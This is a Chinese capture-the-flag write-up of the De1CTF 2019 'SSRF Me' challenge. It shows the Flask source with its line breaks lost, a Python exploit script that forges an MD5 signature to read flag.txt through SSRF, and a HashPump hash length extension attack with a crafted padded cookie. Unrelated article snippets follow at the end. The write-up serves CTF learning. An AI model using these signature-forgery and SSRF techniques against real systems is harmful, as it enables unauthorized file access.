[De1CTF 2019]SSRF Me | BUUCTF

news/2025/3/21 3:15:47/

根据题目名我们知道这是一道SSRF的题目

它允许攻击者在受害服务器上发起未经授权的网络请求

分析

在buuctf上有一个提示
在这里插入图片描述
也就是说flag在 网站的flag.txt

访问主页
在这里插入图片描述
很明显是段flask代码

格式化后

from flask import Flask, request  # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import jsonreload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)  # 创建一个Flask应用实例
secret_key = os.urandom(16)  # 生成一个16字节的随机密钥# 定义一个名为Task的类,用于处理任务
class Task:def __init__(self, action, param, sign, ip):self.action = action  # 任务动作self.param = param    # 参数self.sign = sign      # 签名self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名if not os.path.exists(self.sandbox):os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它def Exec(self):result = {}result['code'] = 500  # 默认响应码为500if self.checkSign():  # 检查签名是否有效if "scan" in self.action:  # 如果任务动作是"scan"tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)  # 执行扫描操作if resp == "Connection Timeout":result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200  # 执行成功,响应码为200if "read" in self.action:  # 如果任务动作是"read"f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()  # 读取结果if result['code'] == 500:result['data'] = "Action Error"  # 如果动作无效,设置响应数据else:result['code'] = 500result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息return resultdef checkSign(self):if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配return Trueelse:return False# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif waf(param):  # 检查是否触发Web应用防火墙(WAF)return "No Hacker!!!!"task = Task(action, param, sign, ip)  # 创建任务对象return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():return open("code.txt", "r").read()# 定义一个用于扫描URL的函数
def scan(param):socket.setdefaulttimeout(1)     # 设置超时时间try:return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符except:return "Connection Timeout"# 生成签名的函数
def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()# 计算MD5哈希的函数
def md5(content):return hashlib.md5(content).hexdigest()# Web应用防火墙(WAF)检查函数
def waf(param):check = param.strip().lower()if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头return True  # 如果参数触发WAF规则,返回Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上

分析代码

  • 路由
    • /geneSign :对param参数进行签名
    • /De1ta : 从客户端获取 action,param,sign参数,获取用户ip,使用waf函数对param进行检测,使用Task对象处理
    • / : 读取code.txt并显示
  • 全局函数
    • scan : 对指定url进行请求
    • getSign: 使用md5进行签名
    • md5 :对参数进行md5加密
    • waf :对参数进行检查,拦截字符串开头为 file和gopher的字符串
    • Task :

如果直接访问flag.txt肯定是不行的,,因为没有这个路由

其中有个scan函数

def scan(param):socket.setdefaulttimeout(1)     # 设置超时时间try:return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符except:return "Connection Timeout"

构造

可以直接传递文件名进行读取(flag.txt)

首先需要获取sign

根据代码构造我们需要的sign

if "scan" in self.action:  # 如果任务动作是"scan"
if "read" in self.action:  # 如果任务动作是"read"

在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
此时我们可以构造 readscan 或者 scanread
这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了

代码中的print resp只会打印在本地控制台,并不会显示在网页中

而param我们构造 flag.txt即可

获取sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param) 
?param="flag.txtread"

为什么要构造flag.txtread
因为action默认指定为 scan
原本我们需要的sign

action=readscan
param=flag.txt
sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan

因为在 getSign 函数, action和param是反过来拼接的

也就是说我们只需要构造flag.txtreadscan的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread也能获取一样的sign

?param=flag.txtread

在这里插入图片描述

获取flag

def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))....

构造响应的参数

Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
?param=flag.txt

在这里插入图片描述

exp

import requestsurl = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
sign = requests.get(url+"geneSign?param=flag.txtread").text		# 获取sign
cookies = {"sign": sign,'action': 'readscan'
}flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text  # 获取flagprint(flag)

其他解法

哈希长度拓展攻击

这个就涉及到md5实现的一些原理了
可以参考下
https://zhuanlan.zhihu.com/p/587802432
https://www.cnblogs.com/pcat/p/5478509.html
使用工具 hashdump

下载hashpump

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

举例

原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
这里用php举个例子

$secret_key = '1234567890';	# 盐
echo md5($secret_key. "admin");

输出的hash值为 501530457b49501056d8f994d12252ca

我们这里知道了几个关键要素

  • hash值 : 501530457b49501056d8f994d12252ca
  • 输入的值: admin
  • 盐的长度 : 10

知道这些条件我们就可以构造一个hash值

使用hashpump

在这里插入图片描述

Input Data to Add是我们需要附加的值,附加的值会追加到我们输入的值上

最后hashpump输入了两个值,一个hash,和一个追加数据后的值

验证

$secret_key = '0123456789';
echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");

最后输出 c231ab9c9647fda124aa8f2dd5cef076 , 和hashpump给出的hash值一致

利用

回到题目

在这里插入图片描述

通过hashpump就能构造两个一样的hash值从而通过验证
从前面知道了三个条件

  • hash值
  • 盐的长度
  • 输入的值

在这里插入图片描述

根据源码我们知道盐的长度

secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)       # getSign('scan', 'flag.txtread')  # 9b7be9abc20f7d0ea3883024bb47d0e0# 生成签名的函数
def getSign(action, param): return hashlib.md5(secret_key + param + action).hexdigest()

secret_key + param = 16 + flag.txt(8) = 24

而我们的输入就是scan, 最后我们需要追加上read

在这里插入图片描述

\x 替换成 %即可

?param=flag.txt
Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

在这里插入图片描述

注意这个sign参数的hash是hashpump生成出来的hash


http://www.ppmy.cn/news/1099348.html

相关文章

【数字IC/FPGA】Verilog中的force和release

在Verilog中,将force用于variable会覆盖掉过程赋值,或者assign引导的连续(procedural assign)赋值,直到release。 下面通过一个简单的例子展示其用法: 加法器代码 module adder ( input logic [31:0] a, …

java实现调用百度地图

这里使用的springbootthymeleaf实现,所以需要有springboot技术使用起来更方便 当然,只使用html加js也可以实现,下面直接开始 首先我们需要去百度地图注册一个AK(百度地图开放平台 | 百度地图API SDK | 地图开发) 找到左…

【Mysql】数据库第二讲(数据库中数据类型的介绍)

数据类型 1.数据类型分类2.数值类型介绍2.1tinyint类型2.2bit类型介绍2.3小数类型介绍2.3.1 float2.3.2decimal 3.字符串类型介绍3.1char3.2varchar面试:char和varchar的区别 4.日期和时间类型5.enum和set 1.数据类型分类 2.数值类型介绍 2.1tinyint类型 数值越界测…

mysqldump数据库迁移入门

迁移数据库 一、从源数据库导出数据 导出数据库为dbname的表结构 mysqldump -h 地址 -P 端口 -uroot -pdbpasswd -d dbname >db.sql;导出数据库为dbname某张表(test)结构 mysqldump -h 地址 -P 端口 -uroot -pdbpasswd -d dbname test>db.sql;…

《网络是怎样连接的》(六)

本文主要取材于 《网络是怎样连接的》 第六章。 目录 6.1 服务器概览 6.2 服务器的接收操作 6.3 Web服务器程序解释请求消息并作出响应 6.4 浏览器接收响应消息并显示内容 简述:本文主要内容是解释 网络包到达服务器之后,如何给客户端响应的。 服务…

(DXE_DRIVER)PciHostBridge

UEFI-PciHostBridge 1、PciHostBridge简介 PciHostBridge: 提供PCI配置空间,IO,MEM空间访问接口以及统一维护平台相关的PCI资源,提供gEfiPciHostBridgeResourceAllocationProtocolGuid,创建RootBridge等为PciBusDxe提供服务; 2、PciHostBridge 配置空间 PCI桥可管理其下PCI子…

axios返回几种数据格式? 其中Blob返回时的size是什么意思?

axios返回几种数据格式? 其中Blob返回时的size是什么意思? 1、字符串(String):服务器可以返回纯文本或HTML内容,Axios会将其作为字符串返回。 2、JSON(JavaScript Object Notation)&#xff…

视频汇聚/视频云存储/视频监控管理平台EasyCVR安全检查的相关问题及解决方法2.0

开源EasyDarwin视频监控TSINGSEE青犀视频平台EasyCVR能在复杂的网络环境中,将分散的各类视频资源进行统一汇聚、整合、集中管理,在视频监控播放上,TSINGSEE青犀视频安防监控汇聚平台可支持1、4、9、16个画面窗口播放,可同时播放多…